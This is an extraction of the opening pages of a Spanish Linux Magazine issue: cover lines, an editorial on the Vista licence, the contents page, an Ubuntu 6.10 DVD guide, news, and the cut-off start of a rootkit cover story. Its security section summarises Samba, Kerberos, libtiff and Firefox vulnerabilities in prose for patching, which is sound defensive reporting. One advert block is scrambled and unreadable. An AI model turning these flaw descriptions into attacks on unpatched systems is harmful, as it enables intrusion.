Ro
otk
itsA
pp
arm
or S
ELin
ux M
yS
QL 5
An
tisp
am
Pyth
on
KB
eag
le G
PS
Perl C
on
cu
rso
de S
oftw
are
Lib
re B
ot A
ttack
PythonCombate el Spam con filtros bayesianos p48
NÚMERO 22 • P.V.P 6,95 €
GPS PerlScript para no perdertepor el monte p43
W W W . L I N U X - M A G A Z I N E . E S
LIN
UX M
AGAZIN
E
NÚMERO 22
Edición enCastellano
CÓMO ESCRIBIR UN
ROOTKITAprende todo lo que hay que saber sobre lanueva generación de intrusos de Internet p12
Bot Attack!Cómo repeler el ataque deservidores zombies p58
SELinuxLa completa línea de defensa deRed Hat p21
ApparmorLa herramienta de seguridad deSuse Linux p17
Ubuntu 6.10 Edgy Eft
Incluye Live DVDy versión deinstalación
Instalación gráficaasistida
Soporte LTS de 5años
MySQL 5Listo para enfrentarse a Oracle p34
KBeagleBúsquedas de escritorio inteligentes p66
Concurso Software LibreTodas las ideas, todos los proyectos p88
8PSMEXJEF�4FSJFT
8PSME�T�MFBEJOH�5SBEF�&WFOU�GPS�-JOVY�BOE�0QFO�4PVSDF�JO�CVTJOFTT
-JOVY8PSME�$POGFSFODF���&YQP��o
/FX�:PSL� 'FCSVBSZ����o��� ������ XXX�MJOVYXPSMEFYQP�DPN
.FYJDP�$JUZ� 'FCSVBSZ����o�.BSDI�� ������� XXX�MJOVYXPSMEFYQP�DPN�NY
#SVTTFMT� .BSDI����o��� ������� XXX�MJOVYXPSMEFYQP�CF
.BESJE� "QSJM ����o��� ������� XXX�MJOVYXPSMETVNNJU�DPN�FT
5PSPOUP� "QSJM����o�.BZ�� ������� XXX�MXOXFYQP�QMVNDPN�DB
4BP�1BVMP� .BZ ����o��� ������� XXX�MJOVYXPSMECSBTJM�DPN�CS
.JMBO� .BZ ����o��� ������� XXX�MJOVYXPSMETVNNJU�JU
5PLZP� .BZ����o�+VOF�� ������� XXX�JEH�DP�KQ�FYQP�MX�
4BO�'SBODJTDP� "VHVTU���o�� ������� XXX�MJOVYXPSMEFYQP�DPN
4FPVM� "VHVTU����o��� ������� XXX�MJOVYXPSMELPSFB�DPN
#FJKJOH� 4FQUFNCFS���o�� ������� XXX�MJOVYXPSMEDIJOB�DPN
-POEPO� 0DUPCFS ����o��� ������� XXX�MJOVYXPSMEFYQP�DP�VL
6USFDIU� 0DUPCFS����o�/PWFNCFS�� ������ XXX�MJOVYXPSMEFYQP�OM
*/5&3/"5*0/"-�.&%*"�410/403
Imaginemos por un momento que un
responsable y trabajador españolito de a
pie ahorra lo suficiente como para com-
prarse su primera vivienda (ya he dicho que
hay que utilizar la imaginación).
Con mucha ilusión, queda con la comercial
de la promotora para ultimar los detalles del
trato. Firma aquí, firma allá, le transfiere una
cantidad obscena de dinero, le acompañan a
un notario, vuelta a firmar, vuelta a transferir.
Después de un día agotador, nuestro pro-
tagonista vuelve a casa (de sus padres) y, pese
al cansancio, repasa la documentación que le
han entregado. ¡Epa! ¿Esto qué es? En el plazo
de entrega: “… las obras estarán acabadas en
más o menos tres años…” ¿Cómo “más o
menos”? Y ¿más o menos con respecto a qué?
Nuestro héroe que es, digamos, geólogo, sabe
que, en términos de su especialidad, 3, 300 ó
3000 años son precisamente “más o menos”
lo mismo.
Pero la cosa no acaba ahí. En el pliego
descriptivo: “… la vivienda constará de más o
menos 3 dormitorios, aproximadamente 2
baños, alrededor de 1 cocina y puede que 1
salón comedor. No estamos seguros de incluir
una terraza, pero si los de Urbanismo nos lo
aprueban, y nos llega el presupuesto, cuente
con ello. La superficie útil suponemos que
será de 90 metros cuadrados, pero vete a
saber.” El plano muestra un espacio en blanco
y no hay siquiera una escala. La firma del
incauto comprador está en todo, incluso en la
fotocopia del menú de un chino que alguien
debió dejar olvidado en la mesa de la agente
inmobiliaria. El geólogo comienza a tener pal-
pitaciones…
Dejemos por un instante a nuestro desafor-
tunado amigo y pensemos en cómo, en estos
momentos, hay millones de personas que,
inadvertidamente, están en una situación sim-
ilar con respecto al software que rige sus orde-
nadores personales y profesionales. Y lo
bueno es que, con la nueva versión de ya-te-
imaginas-qué, eso no va a cambiar. Me llega
la licencia de Windows Vista [1] y, junto a las
típicas patochadas tipo “el software no puede
ser utilizado por más de un usuario
simultáneamente” (es decir, si le dices a tu
esposa, “¡Eh! ¡Ven a ver esto!” estás violando
la licencia), tenemos en la sección “Limita-
ciones y exclusión de daños” la
siguiente perla: “[…] el software se
ejecutará sustancialmente como
describe el material de Microsoft
[…]” y juro que el contexto no
cambia el sentido de lo anterior un
ápice.
O sea que el software “más o
menos” se ejecutará.
Sí, ya sé: pone “sustancialmente”, que no
es exactamente los mismo que “más o
menos”, lo que significa que el software ten-
derá a funcionar más que a no funcionar.
Pero, volvamos a nuestro confundido com-
prador de pisos. Imaginemos que la descrip-
ción indica que la vivienda está “sustancial-
mente en la primera planta”. Se construye el
edificio (en más o menos 3 años), se recogen
las llaves, se vuelve al notario, más transferen-
cias de ingentes cantidades de dinero de un
lugar a otro y, por fin, nuestro geólogo se
dirige a su nuevo hogar. Cuando llega… ¡Oh,
sorpresa! ¡Su casa está bajo tierra!
Reclamación. Ante el juez, el promotor
alega, “Bueno, señoría, el hecho es que la
vivienda en cuestión está sustancialmente
más en la primera planta que en el ático, que
está siete pisos más arriba”. Además, hace
notar que no deja de ser irónico que el
demandante se pase la mayor parte de su
tiempo recogiendo rocas en cuevas.
Traslademos todo lo anterior a Vista. Imag-
inemos que, de las 10.000 cosas que un sis-
tema operativo ha de hacer, sólo hay una
donde Vista casca. Coincidirán conmigo en
que la oración de que el software funciona
“sustancialmente” es correcta: el sistema fun-
ciona en un 99,99%. Pero va y resulta que esa
única cosa que casca es la que dibuja las ven-
tanas en la pantalla. Sí, el sistema funciona
“sustancialmente”, lo único que pasa es que
usted no puede verlo… Y usted ha pulsado
“Aceptar”.
Claro que, a mí ¡plim! Yo utilizo Linux en
todas mis máquinas y, si actualizo a algo, va a
ser a Fedora 6, por tanto no me afecta. ¿O tal
vez sí? Las grandes corporaciones del soft-
ware infiltran a sus ejecutivos en toda suerte
de comisiones y comités por todo el mundo,
ofreciendo su “ayuda” para asesorar a
europarlamentarios, diputados, congresistas,
senadores y ministros en la reescritura de
leyes [2], dejando que los mismos abogados
en nómina que redactan sus licencias, le
metan mano a documentos que van regir las
vidas de los ciudadanos, contaminándolas
con vaguedades, imprecisiones y
ambigüedades que hacen que las normas que
a todos nos vinculan digan digo y digan diego
simultáneamente, dando lugar a una manipu-
lación del supuesto libre mercado y abriendo
las puertas a una interpretación sesgada de la
legislación, facilitándoles la imposición de sus
productos incluso a quienes no los quieren ni,
en principio, los necesitan y allanándoles el
camino para tretas que obligan a la desapari-
ción de cualquier competidor legítimo que
amenace su supremacía. Se constituyen como
gobiernos en la sombra, cuyos líderes no han
sido elegidos por sufragio universal, sino por
una junta directiva que únicamente vela por
sus intereses comerciales, y no responden ni
ante el pueblo ni ante la justicia, sólo ante sus
accionistas.
Y eso sí me afecta. �
3
EDITORIAL
3Número 22W W W . L I N U X - M A G A Z I N E . E S
Estimado Lector de Linux Magazine
Nos sentimos orgullosos de nuestrosorígenes como publicación, que seremonta a los primero días de larevolución Linux. Nuestra revistahermana, la publicación alemanaLinux Magazine, fundada en 1994, fuela primera revista dedicada a Linux enEuropa. Desde aquellas tempranasfechas hasta hoy, nuestra red yexperiencia han crecido y se hanexpandido a la par que la comunidadLinux a lo ancho y largo del mundo.Como lector de Linux Magazine, teunes a una red de informacióndedicada a la distribución delconocimiento y experiencia técnica.No nos limitamos a informar sobre elmovimiento Linux y de Software Libre,sino que somos parte integral de él.
ME AFECTA
Paul C. Brown
Director
[1] Gracias a Julián Coccia de Linux Espa-
ñol (http://linux.es/).
[2] Gracias a Alberto Barrionuevo de
Estándares Abiertos (http://www.
estandaresabiertos.com/) por ejem-
plos tangibles.
Agradecimientos
CONTENIDOS • Linux Magazine nº 22
4 Número 22 W W W . L I N U X - M A G A Z I N E . E S
28 LibrosCon la introducción de Linux en las aulas se
hace imperiosa la producción de material
educativo que dote a los profesores de las
herramientas necesarias para desarrollar
adecuadamente su labor. La primera editorial
que ha decidido darle forma a una serie de
materiales diseñados específicamente para
los centros escolares ha sido McGraw Hill.
29 FreeSpireLinspire ha publicado una nueva versión
no comercial de su distro denominada
Freespire. Hemos tomado la beta de
Freespire para ponerla a prueba.
32 LeafTagEl programa experimental Leaftag ofrece los
medios para asociar archivos con categorías
de búsquedas y otros metadatos.
34 MySQL 5Vamos a mostrar cómo algunas de las carac-
terísticas nuevas de MySQL 5 mejorarán el
diseño del software y aumentarán el rendi-
miento de las aplicaciones.
40 Backups tarUtilización de un fichero tar para restau-
rar un sistema de forma rápida, sin tener
que hacer una reinstalación completa.
43 Perl: GPSLos hackers de Perl se suben al monte con
un sistema de navegación que les propor-
ciona una representación gráfica de la
excursión.
48 Python: SpamPaul Graham publicó un artículo en 2002
en el que decía que los filtros bayesianos
acabarían con el Spam, pero ¿qué es un
filtro bayesiano? y, peor aún ¿qué es en
realidad el spam?
52 Google APICon el protocolo GData (el API de datos de
Google) tendremos un acceso completo a los
datos de las aplicaciones diseñadas por Goo-
gle, incluido Google Calendar, de una manera
unificada y sencilla.
57 CharlyUn servidor DNS sobrecargado puede retrasar
todos los puestos de trabajo de una red.
Dnsgraph es un sistema de aviso que propor-
ciona a los administradores un gráfico de
valores críticos. Sus diagramas le ayudarán a
tener a punto sus sistemas servidores de
nombres.
58 Bot attackMientras realizaba sus tareas habituales, el
colaborador de Linux Magazine, Charly Küh-
nast fue víctima de un malvado ataque. El
servidor antispam de Charly, ubicado como
defensa ante su servidor de correo, le salvó de
la avalancha de emails.
12 RootkitsLos rootkits de hoy día se infiltran en el
sistema objetivo a nivel de kernel,
escapando de esta manera de la atención
del administrador. Siga leyendo y
descubrirá cómo funciona de verdad un
rootkit de kernel.
17 AppArmorCuando un atacante consigue infectar el
sistema de una víctima hereda sus privile-
gios. AppArmor bloquea el ataque redu-
ciendo los privilegios potenciales de la víc-
tima al mínimo.
21 SELinuxSELinux ofrece un sistema de Control de
Acceso Obligatorio para Linux, si estás
dispuesto a entrar a fondo.
25 AppArmor vs SELinux¿Security Enhanced Linux o AppArmor?
Linux Magazine ha invitado a dos perso-
najes bien conocidos de Red Hat y Novell
para debatir los méritos de sus sistemas de
seguridad.
DESARROLLO
LINUX MAGAZINE
3 Editorial6 DVD Linux Magazine8 Inseguridades10 Noticias94 Eventos94 Información de Contacto95 Subscripciones97 Linux Local98 Próximo Número
EVALUACIÓN
PRÁCTICO
PORTADA
ADMINISTRACIÓN
Número 22 5W W W . L I N U X - M A G A Z I N E . E S
79 Línea de comandos: IsosSi se están creando copias de seguridad,
salvando datos o copiando CDs arranca-
bles, dd y mkisofs te ayudan a realizar
este trabajo estupendamente.
82 JuegosLos más veteranos en el mundo de los jue-
gos conocerán títulos como Stunts, los pri-
meros simuladores 3D de conducción que
existieron y que causaron sensación entre
el público en general. En esa misma línea
de juego, con muchas mejoras y comple-
tamente libre, llega ahora Mania Drive.
84 KonsultorioSi tienes algún problema de
configuración, o simplemente quieres
conocer mejor cómo funciona Linux,
Klaus Knopper, el creador de Knoppix,
te ayuda.
88 Concurso Software LibrePresentamos en esta sección el listado
completo en orden alfabética de los
proyectos admitidos para participar en
1er Concurso Universitario de Soft-
ware Libre.
COMUNIDAD
MÁS DETALLES EN LA Pág 6
60 Apache: ModsecurityEl módulo de Apache ModSecurity propor-
ciona una protección extra para el servidor
web. Vamos a mostrar por qué esta aplicación
de cortafuegos opcional está convirtiéndose
rápidamente en la favorita de los webmasters
y de los expertos en seguridad.
66 Ktools: KBeagleSi se ha perdido la esperanza de encontrar
el camino entre la masa de datos de tu
ordenador de sobremesa, lo mejor es usar
un motor de búsqueda que permita guiar-
nos a través de la selva. Kerry y KBeagle-
bar nos acercan el motor Beagle al escrito-
rio KDE.
68 MetacitySi el espartano administrador de ventanas
Metacity no te da la funcionalidad que
necesitas, prueba con los añadidos
Brightside y Devil’s Pie de Metacity.
70 Érase una vezEn vez de picar código, ¿qué tal si
intentamos ir a por un bestseller? Si estás
buscando el modo de organizar tu pró
xima novela, prueba con StoryLines y la
suite Writer’s Cafe.
74 Educación No podemos cerrar el estudio sobre la tra-
ducción del software libre, sin examinar
las propuestas de la industria de la traduc-
ción: la especificación XLIFF y sus herra-
mientas. ¿Está el software libre a la altura?
LINUX USER
LINUX USER
� Incluye Live DVD y versión de instalación
� Instalación gráfica asistida
� Administración de software simplificada
� Soporte LTS de cinco años
� Herramientas colaborativas para usua-rios y desarrolladores
� Firefox 2, OpenOffice.org 2, Gnome 2.16,Kernel 2.6.17
ADMINISTRACIÓN
UBUNTU 6.10
DVD LINUX MAGAZINE
6 Número 22 W W W . L I N U X - M A G A Z I N E . E S
No hay duda de que se lo merece: por
su sencillez de instalación, configuración
y manejo, por su sólido soporte de larga
duración (LTS de cinco años) y la rigu-
rosa conformación del equipo de produc-
ción y comercialización a los principios
del software libre.
La popularidad de Ubuntu es inau-
dita. Cuando, a finales del 2004,
la redacción de Linux Magazine
Internacional (la revista hermana de
Linux Magazine – Edición en Castellano)
emitió un cuestionario pidiendo sugeren-
cias para su próximo DVD de portada,
desde la redacción española sugerimos
Ubuntu.
La reacción de los redactores fue:
“¿Ubuntu? ¿Quién narices quiere eso?”
Sin embargo, escasamente dos años des-
pués, es difícil imaginar el panorama de
Linux sin esta distro. Su popularidad es
tal que ocupa el primer puesto Distro-
Watch [1] desde el 2005, desplazando a
Mandrake/Mandriva, la distribución
dominante de los años 2002, 2003 y
2004, cogiendo por sorpresa a toda la
comunidad.
Novedades
La nueva versión de Ubuntu (nombre
en clave Edgy Eft, o Salamandra Sensi-
ble) es un elemento de continuidad en
la línea de distros de Ubuntu liberadas
hasta el momento. Actualiza y mejora
las aplicaciones incluidas en la versión
Cómo siempre, explicamos aquí cómo
configurar su versión de Ubuntu para que
pueda acceder a más aplicaciones.
Ubuntu se basa en Debian, por tanto el
sistema subyacente para la instalación de
paquetes es apt (Advanced Packaging
Tool, no A Prueba de Tontos). Con apt es
muy sencillo instalar paquetes desde la
línea de comandos:
# apt-get install mozilla
… instalaría el navegador Mozilla y…
# apt-get remove mozilla
.. eliminaría el paquete del sistema.
Existe un interfaz gráfico para apt, lla-
mado Synaptic, al que se accede desde el
menú Sistema > Administración > Synap-
tic. El proceso de instalación con Synaptic
es todavía más sencillo, ya que presenta
una lista (en la cual también se puede bus-
car por nombre y descripción) y simple-
mente se ha de pulsar en el cuadro de ver-
ificación para indicar los paquetes que
queremos instalar y eliminar del sistema.
Para añadir nuevos repositorios, hemos
de dirigirnos al menú Sistema > Adminis-
tración > Propiedades del Software. Esto
nos abrirá la aplicación Preferencias de
Software. En la pestaña Medios de Insta-
lación, pulsamos en el botón Añadir. Mar-
camos los repositorios que deseamos
añadir…
• Soportado Oficialmente son los reposi-
torios que contienen paquetes creados
por el equipo de Ubuntu.
• Copyright Restrictivo son repositorios
que contienen paquetes que tienen
algún tipo de licencia diferente al GPL
(como el plugin Flash para Firefox) y
que no pueden ser distribuidos de man-
era completamente libre.
• Mantenido por la Comunidad (Uni-
verse) son repositorios no oficiales con
paquetes creados por desarrolladores
independientes.
• Non-free (Multiverse) son repositorios
que contienen paquetes con licencias
no libres. Estos repositorios no suelen
ser mantenidos por Ubuntu y no se
actualizan a menudo.
Una vez hayamos seleccionado los repo-
sitorios que nos interesan, pulsamos en
aceptar y la próxima vez que abramos
Synaptic, observaremos cómo se han
añadido los nuevos paquetes a la lista de
software disponible.
Más allá del DVD
Figura 1: Desde la pantalla de arranque de la instalación, se puede seleccionar el
idioma, teclado, resolución de pantalla, opciones de accesibilidad, etc.
Figura 2: El instalador simplificado permite añadir y suprimir aplica-
ciones de manera sencilla.
Sistema
• Kernel 2.6.17
• GCC 4.1.1
• X.org 7.1
Escritorio
• Gnome 2.16
Ofimática / Internet
• Firefox 2.0
• OpenOffice.org
Gráficos
• F-Spot 0.2.1
• Gimp 2.2.13
Software
DVD LINUX MAGAZINE
7Número 22W W W . L I N U X - M A G A Z I N E . E S
anterior y da un cualitativo salto hacia
adelante en lo que se refiere a la
comunicación de sus usuarios con el
equipo de desarrollo.
Por ejemplo, Ubuntu 6.10 incluye
un nuevo campo en el instalador de
software que le indica al usuario la
popularidad del paquete con una
serie de estrellas que varía en fun-
ción del número de descargas/insta-
laciones. Esto tiene una doble fun-
ción: por un lado da pistas al usua-
rio sobre la utilidad del paquete y
por otro informa a los desarrollado-
res de lo que demandan los usua-
rios.
Otro elemento a destacar es que todas
las aplicaciones están compiladas para
facilitar el envío de informes de error en
el caso de que se cuelguen. En otras dis-
tros hay que recompilar los programas
con una opción debug para que, en el
caso de cuelgue, se pueda recabar la
información que los desarrolladores
necesitan para corregir el fallo.
Asimismo, la plataforma Launchpad,
integrada en el sistema, permite una
colaboración más fluida entre los des-
arrolladores independientes y los des-
arrolladores en nómina de Canonical,
la empresa productora de Ubuntu.
Instálalo yaPara disfrutar del instalador gráfico,
hay que arrancar el DVD en modo
live y a continuación pulsar en el
icono “Instalar” que veremos en el
escritorio. Esto también nos permi-
tirá familiarizarnos con el entorno
en el caso de ser necesario, sin tener
que tocar el disco duro.
La instalación gráfica, por otro
lado, intenta por todos lo medios ser
lo más sencilla posible y reduciendo
el número de preguntas a las que el
usuario tiene que contestar al
mínimo. El instalador adivina y
configura hardware, interfaces de
red, tarjetas, periféricos (impreso-
ras, escáners, etc.) y conexiones a
Internet.
Ubuntu pretende ser el Linux del
usuario doméstico y ofimático, sin
renunciar por ello a incluir servido-
res, herramientas y entornos de
desarrollo que los administradores
de sistemas y programadores espe-
ran encontrar en un sistema Linux.�
[1] La página de las distros top 100: http://
distrowatch.com/
RECURSOS
Figura 3: “Edgy” es la primera distro mayoritaria en incorporar Fire-
fox 2.0.
Figura 4: OpenOffice 2.0 es la suite de ofimática incluida con Edgy.
Incluye documentos de ejemplo para el usuario novel.
INSEGURIDADES
Schlagwort sollte hier stehenLINUX USERINSEGURIDADES
SambaSamba es un servidor de aplicaciones de
código abierto que proporciona ficheros
de red y servicios de compartición de
impresión a clientes SMB/CIFS.
Se encontró un fallo de denegación de
servicio en la manera en la que el
demonio smbd busca las conexiones
activas a compartir. Un atacante remoto
conocedor de este problema podría
hacer que el demonio smbd consumiera
una gran cantidad de memoria del
sistema mediante el envío de peticiones
smbd cuidadosamente manipuladas.
(CVE-2006-3403). �Referencia Debian: DSA-1110-1
Referencia Gentoo: GLSA-200607-10
Referencia Mandriva: MDKSA-2006:120
Referencia Red Hat: RHSA-2006:0591-6
Referencia Slackware: SSA:2006-195-01
Referencia Suse: SUSE-SR:2006:017
Referencia Ubuntu: USN-314-1
krb5Kerberos (krb5) es un sistema de autenticación
de red que permite a clientes y servidores autenti-
carse entre ellos usando encriptación simétrica y
entre una confiada tercera parte, el KDC.
Se encontró un error en el lugar en el que algu-
nas conocidas aplicaciones de Kerberos podrían
fallar al comprobar el resultado de la llamada al
setuid (). En los kernels de Linux 2.6, la llamada
al setuid puede fallar si se alcanzan los límites de
ciertos usuarios. Un atacante local podría mani-
pular su entorno de manera que consiguiese que
las aplicaciones continuaran ejecutándose como
root, llevando potencialmente a una escalada de
privilegios. (CVE-2006-3083). �Referencia Debian: DSA-1146-1
Referencia Gentoo: GLSA-200608-15
Referencia Mandriva: MDKSA-2006:139
Referencia Red Hat: RHSA-2006:0612-8
libtiffEl paquete libtiff contiene una librería de funcio-
nes para la manipulación de ficheros TIFF (Tag-
ged Image File Format).
Tavis Ormandy de Google descubrió algunos
fallos en libtiff durante una revisión de seguridad.
Un atacante podría crear un fichero TIFF cuidado-
samente manipulado de tal manera que diera
lugar a que una aplicación unida a libtiff se estro-
peara o que posiblemente ejecutara código arbi-
trario. (CVE-2006-3459, CVE-2006-3460, CVE-
2006-3461, CVE-2006-3462, CVE-2006-3463,
CVE-2006-3464, CVE-2006-3465) �Referencia Debian: DSA-1137-1
Referencia Gentoo: GLSA-200608-07
Referencia Mandriva: MDKSA-2006:137
Referencia Red Hat: RHSA-2006:0603-4
Número 22 W W W . L I N U X - M A G A Z I N E . E S8
INSEGURIDADES
Se encontró un fallo de scripting multisitio en
la manera en la que Firefox procesa registros
Unicode Byte Order Mark (BOM) en páginas
web UTF-8. (CVE-2006-2783)
Se encontraron algunos fallos en la manera
en la que Firefox procesa ciertas acciones javas-
cript. Una página web maliciosa podría condu-
cir a un ataque del scripting multisitio o robar
información sensible (tales como cookies pro-
piedad de otros dominios). (CVE-2006-3802,
CVE-2006-3810)
Se encontró un fallo de subida de fichero-for-
mulario en la manera en que Firefox manipula
la mutación de objetos de entrada javascript.
Una página web maliciosa podría subir un
fichero local arbitrario en el momento del envío
sin interacción con el usuario. (CVE-2006-2782)
Se encontró un fallo de denegación de servi-
cio en la manera en la que Firefox llama a la
función javascript crypto.sign Text(). Una
página web maliciosa podría usar este fallo
para comprometer al navegador. (CVE-2006-
2778)
Se encontraron dos fallos de contrabando de
respuesta HTTP en la manera en la que Firefox
procesa ciertos cabeceras de respuesta HTTP
inválidas. Una website maliciosa podría devol-
ver cabeceras de respuesta HTTP especial-
mente manipulados que podrían evitar las res-
tricciones de un proxy HTTP. (CVE-2006-2786)
Se encontró un fallo en la manera en la que
Firefox procesa scripts Proxy AutoConfig. Un
servidor Proxy AutoConfig podría ejecutar ins-
trucciones javascripts arbitrarias con los permi-
sos de “chrome”, permitiendo a la página robar
información sensible o instalar malware. (CVE-
2006-3808)
Se encontró un doble fallo en la manera en la
que es llamado el método nsIX509::getRaw-
DER. Si una víctima visita una página web cui-
dadosamente manipulada, es posible que eje-
cute código arbitrario como si fuera el usuario
ejecutando Firefox. (CVE-2006-2788). �Referencia Debian: DSA-1120-1, DSA-1134-1
Referencia Gentoo: GLSA 200608-03,
GLSA 200606-21
Referencia RedHat: RHSA-2006:0610-4,
RHSA-2006:0611-3
Referencia Slackware: SSA:2006-208-01
Referencia Suse: SUSE-SR:2006:018
Referencia Ubuntu: USN-296-2, USN-297-3,
USN-327-1, USN-329-1
Referencia Suse: SUSE-SA:2006:044
Referencia Ubuntu: USN-330-1
Firefox/ThunderbirdMozilla Firefox es un navegador web de Código
Abierto. Los expertos han descubierto algunos
fallos de seguridad en Firefox. aunque la mayoría
de los problemas también son aplicables al
cliente de correo y de grupos de usuarios de
Mozilla Thunderbird.
Los fallos se encontraron en el modo en el que
Firefox procesa determinadas acciones Javascript.
Una página web podría ejecutar instrucciones
javascript arbitrarias con los permisos de
“chrome”, permitiendo robar información sensi-
ble o instalar malware. (CVE-2006-2776, CVE-
2006-2784, CVE-2006-2785, CVE-2006-2787,
CVE-2006-3807, CVE-2006-3809, CVE-2006-
3812)
Se encontraron fallos de denegación de servi-
cio en la manera en la que Firefox procesa ciertos
contenidos web. Una página web podría colgar el
navegador o ejecutar código arbitrario como el
usuario ejecutando Firefox. (CVE-2006-2779,
CVE-2006-2780, CVE-2006-3801, CVE-2006-
3677, CVE-2006-3113, CVE-2006-3803)
Número 22W W W . L I N U X - M A G A Z I N E . E S 9
Linux EducativoEl software libre en la administración se
hace fuerte en el área de la educación.
En todas las instancias de distros apoya-
das por gobiernos autonómicos, la pri-
mera incursión siempre se ha hecho en
el ámbito educativo.
Ahora mismo, debido a la rapidez de
la evolución del desarrollo del software,
podemos decir que tanto Extremadura
como Andalucía son administraciones de
segunda generación en lo que a FLOSS
se refiere. Es decir, con varios años de
experiencia a sus espaldas, errores
aprendidos y superados, se empiezan a
utilizar GNU/Linux y las utilidades que
le acompañan, ya no como algo revolu-
cionario, sino como una herramienta
habitual tanto para las grandes como
para las pequeñas infraestructuras infor-
máticas institucionales y se comienza a
acometer, tanto en una administración
como en otra, la migración total.
Pero, siguen siendo las educativas,
como instituciones más veteranas en el
uso de Linux, las que mejor han asu-
mido el cambio y las que están mar-
cando el camino a otros sectores de
ambas administraciones.
En este orden de cosas, el pasado 27
de octubre se presentaron en Sevilla las
nuevas plataformas educativas que van
a servir de trampolín para profesores,
alumnos y padres en los próximos años.
Entre las novedades destaca las plata-
forma Helvia, que integra un sitio web
estandarizado que puede ser personali-
zado para cada centro escolar y que le
sirve de escaparate en Internet; weblogs
para profesores y alumnos, utilizables
tanto internamente como de cara a Inter-
net; y aulas virtuales, que permiten la
formación no presencial y autónoma por
parte del alumno.
Otra de las nuevas aplicaciones es Bar-
tic, que pone a disposición del profeso-
rado, alumnado y padres, una extensa
base de datos de recursos educativos,
base de datos que puede ampliarse con
aportaciones de terceros. Constará de
dos zonas diferenciadas: una privada
para administradores y publicadores de
recursos, y otra pública que permitirá
que cualquiera dé de alta nuevos recur-
sos educativos (que después serán eva-
luados por un comité de expertos para
determinar su idoneidad), acceder a los
recursos publicados, buscar en la base
de datos y evaluar cada recurso, asig-
nándole una serie de puntos en función
de su utilidad.
Finalmente, el portal web Pasen pre-
tende tender un puente entre los centros
escolares y las familias de los alumnos.
Por un lado, Pasen permitirá encargar
tareas al alumnado en grupo o por sub-
grupos o a alumnos individuales, anun-
ciar fechas de exámenes, hacer segui-
mientos de la asistencia y el progreso de
cada alumno, y un largo etcétera. Asi-
mismo los padres podrán interactuar
con el sistema para comunicarse con el
profesorado, seguir el progreso de su
hijo, acceder a tablones de anuncios y
participar en foros.
Por todo ello, los nuevos sistemas de-
sarrollados mejorarán sensiblemente la
comunicación entre los órganos regido-
res y los centros escolares y entre estos
últimos y los padres de los alumnos de
las escuelas andaluzas .
Todas las utilidades están desarrolla-
das sobre GNU/Linux, con herramientas
y lenguajes libres, y se liberan con licen-
cias GPL. �http://www.juntadeandalucia.es/
educacion/
NOTICIAS
Neutralidad Bien Entendida
No sabemos cómo ha llegado a pasar
que el concepto de “neutralidad tecnoló-
gica” ha mutado su significado original
de “abrirse a los ciudadanos, sin impo-
ner una tecnología dada” a “carta blanca
para imponer un monopolio de facto”.
Tan radical ha sido el cambio, que
muchos militantes del software libre
miran con recelo este concepto y hasta
prefieren evitar su uso.
Afortunadamente, el Observatorio de
Neutralidad Tecnológica se ha ancar-
gado de poner los puntos sobre las íes
en su Primer Informe del Observatorio,
informe donde se resumen las áreas que
ha de mejorar la administración si se
pretende cumplir con los principios de
neutralidad dispuestos en la legislación
vigente.
Asimismo, el informe recoge las 52
quejas más relevantes enviadas al obser-
vatorio donde se denuncian casos de
discriminación o falta de conformación
a estándares en webs, aplicaciones o
requerimientos institucionales.
Casos típicos de estas denuncias son
páginas oficiales que exigen el uso de
Internet Explorer para su correcta visuali-
zación, páginas que exigen el plugin Flash
de Adobe, pliegos de condiciones para
proyectos que exigen el uso de software
propietario, páginas web que no se confor-
man a los estándares W3C y que, por
tanto, se visualizan incorrectamente en
navegadores que no son IE, proyectos uni-
versitarios que exigen la utilización de tec-
nología propietaria (p.e.: compiladores
propietarios) sin necesidad, y un largo
etcétera.
Los artífices del Observatorio de Neutra-
lidad Tecnológica, Jose María Lancho,
abogado de Legalventure y Julián Coccia,
presidente de Linux Español, presentaron
su informe ante el ministro de Administra-
ciones Públicas el pasado 24 de octubre.
El Observatorio sigue abierto y a la
espera de nuevas denuncias de los ciuda-
danos con el fin de seguir su labor en pro
de la normalización de los protocolos de
intercambio de información. �http://www.neutralidad.es/
http://www.legalventure.com/
http://linux.es
NOTICIAS
10 Número 22 W W W . L I N U X - M A G A Z I N E . E S
11Número 22W W W . L I N U X - M A G A Z I N E . E S
tomar el control. Otro experto en seguri-
dad Ralf Spenneberg nos muestra cómo
proteger nuestro sistema con AppArmor,
patrocinado por Novell, y SELinux, la
herramienta elegida por los sistemas Red
Hat. Y como colofón de este acerca-
miento a la seguridad de intrusiones, en
nuestro artículo final, los portavoces de
Novell y RedHat se enfrentan cara a cara
con los costes y beneficios de AppArmor
y SELinux como armas de ataque.
Esperamos que disfrute del tema de
portada de este mes acerca de los root-
kits y la seguridad en Linux. �
Los rootkits del kernel 2.6 y el reto de la seguridad en Linux
INVASIÓN Y DEFENSA
Especial Rootkits• PORTADA
De todas las creaciones malvadas
en la historia del cibercrimen, el
rootkit es probablemente la más
ingeniosa. Un rootkit es un conjunto de
herramientas para el intruso de redes.
Un atacante que consiga acceso a un
ordenador puede subir el rootkit y usar
las herramientas para tomar el control
del sistema. Un aspecto interesante de
un rootkit es la habilidad de encubrir los
rastros del intruso. Versiones preparadas
de herramientas comunes de monitoriza-
ción como netstat y ps borran todo signo
de ataque.
Muchos muchos rootkits se han
copiado en ordenadores por todo el
mundo. Pero, con el tiempo, los desarro-
lladores y especialistas en seguridad han
desarrollado acertadas técnicas en espa-
cio de usuario. Los expertos han apren-
dido a detectar la presencia de intrusos
buscando detrás de las herramientas
estándar de Unix que registran los cam-
bios del sistema. Pero estos últimos, en
lugar de abandonar, han respondido con
algo nuevo. El rootkit de kernel es una
herramienta de intrusión de nueva gene-
ración que se introduce a sí misma en el
sistema Linux a un nivel muy profundo,
por debajo del alcance de las herramien-
tas de detección de usuario. Armados
con rootkits de kernel, los intrusos han
vuelto a tomar la delantera, al menos de
momento.
El kernel 2.6 implementa varios cam-
bios que hacen mucho más difícil crear
un rootkit de kernel para Linux. Pero,
¿ha terminado realmente la batalla? En el
tema de portada de este mes, el experto
en seguridad Amir Alsbih nos muestra
por qué todavía debemos preocuparnos
por los rootkits de kernel con la versión
2.6. Nuestro primer artículo de la serie,
“Arma Secreta: Rootkits para el kernel
2.6 de Linux” muestra un ejemplo prác-
tico de cómo un rootkit de este kernel
podría funcionar y qué aspecto tendría.
Para que no se piense que todas las
innovaciones vienen de los hackers
malignos, también le echamos un vis-
tazo a los dos sistemas principales de
control de acceso obligatorio (MAC) para
Linux. Con AppArmor y SELinux, un
intruso que explote una vulnerabilidad
para conseguir acceso a un sistema de
este tipo puede que no consiga nunca los
